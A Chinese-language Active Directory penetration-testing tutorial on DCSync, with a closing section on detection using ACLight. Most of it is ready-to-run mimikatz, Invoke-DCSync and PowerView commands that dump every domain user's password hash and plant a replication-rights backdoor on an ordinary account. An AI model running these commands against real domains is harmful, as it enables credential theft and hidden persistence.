域渗透——DCSync
0x00 前言
DCSync是域渗透中经常会用到的技术,本文会对开源的资料进行整理,结合自己的经验,总结利用和防御检测的方法
0x01 简介
本文将要介绍以下内容:
- 利用DCSync导出域内所有用户hash的方法
- 利用DCSync在域内维持权限的方法
- 自动化检测DCSync后门的方法
0x02 利用DCSync导出域内所有用户hash的方法
DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash
利用条件:
获得以下任一用户的权限:
- Administrators组内的用户
- Domain Admins组内的用户
- Enterprise Admins组内的用户
- 域控制器的计算机帐户
利用原理:
利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据
参考资料: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47
实现代码:
https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c#L27
利用方法:
1.使用mimikatz
导出域内所有用户的hash:
mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit
导出域内administrator帐户的hash:
mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit
2.powershell实现
https://gist.github.com/monoxgas/9d238accd969550136db
通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能
导出域内所有用户的hash:
Invoke-DCSync -DumpForest | ft -wrap -autosize
导出域内administrator帐户的hash:
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
注:
获得了域内用户的hash后,进一步利用可参考之前的文章:
《渗透技巧——Pass the Hash with Remote Desktop(Restricted Admin mode)》
《域渗透——Pass The Hash & Pass The Key》
0x03 利用DCSync在域内维持权限的方法
利用条件:
获得以下任一用户的权限:
- Domain Admins组内的用户
- Enterprise Admins组内的用户
利用原理:
向域内的一个普通用户添加如下三条ACE(Access Control Entries):
- DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
该用户即可获得利用DCSync导出域内所有用户hash的权限
实现代码:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270
利用方法:
添加ACE的命令如下:
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
补充:
删除ACE的命令:
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
注:
关于更多ACL的内容可参考之前的文章:《渗透技巧——Windows下的Access Control List》
使用域用户test1调用DCSync的方法如下:
1.在域内一台登录了test1用户的主机上面,直接使用mimikatz的DCSync功能
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit
2.使用runas实现登录test1用户,再使用DCSync
(1)弹出cmd
echo 123456789 | runas /noprofile /user:test\test1 cmd
弹出的cmd下执行如下命令:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit
(2)不弹框实现
echo 123456789 | runas /noprofile /user:test\test1 c:\test\1.bat
1.bat的内容如下:
c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt
注:
同类的工具还有lsrunas、lsrunase和CPAU
3.使用powershell实现登录test1用户,再使用DCSync
(1)弹出cmd
$uname="test\test1"
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Start-Process -FilePath "cmd.exe" -Credential $cred
弹出的cmd下执行如下命令:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit
(2)不弹框实现
$uname="test\test1"
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Start-Process -FilePath "c:\test\1.bat" -Credential $cred
1.bat的内容如下:
c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt
注:
使用wmic在本机实现登录用户test1会失败,错误如下:
ERROR:
Description = User credentials cannot be used for local connections
0x04 自动化检测DCSync后门的方法
具有高权限但不在高权限组的用户被称之为Shadow Admin,例如0x03中的域用户test1,仅通过查询高权限组的成员无法发现域内的Shadow Admin
检测原理:
枚举Active Directory中所有用户的ACL,标记出特权帐户
实现代码:
https://github.com/cyberark/ACLight
利用条件:
- Powershell v3.0
- 域内普通用户权限
检测方法:
执行项目中的Execute-ACLight2.bat
生成三个文件:
- Privileged Accounts - Layers Analysis.txt
- Privileged Accounts Permissions - Final Report.csv
- Privileged Accounts Permissions - Irregular Accounts.csv
文件中会显示出所有特权帐户
经测试,ACLight能够检测出被添加DCSync权限的用户test1
0x05 小结
本文介绍了域渗透中DCSync的利用和自动化检测的方法,站在防御的角度,建议使用ACLight对域环境的用户ACL进行检测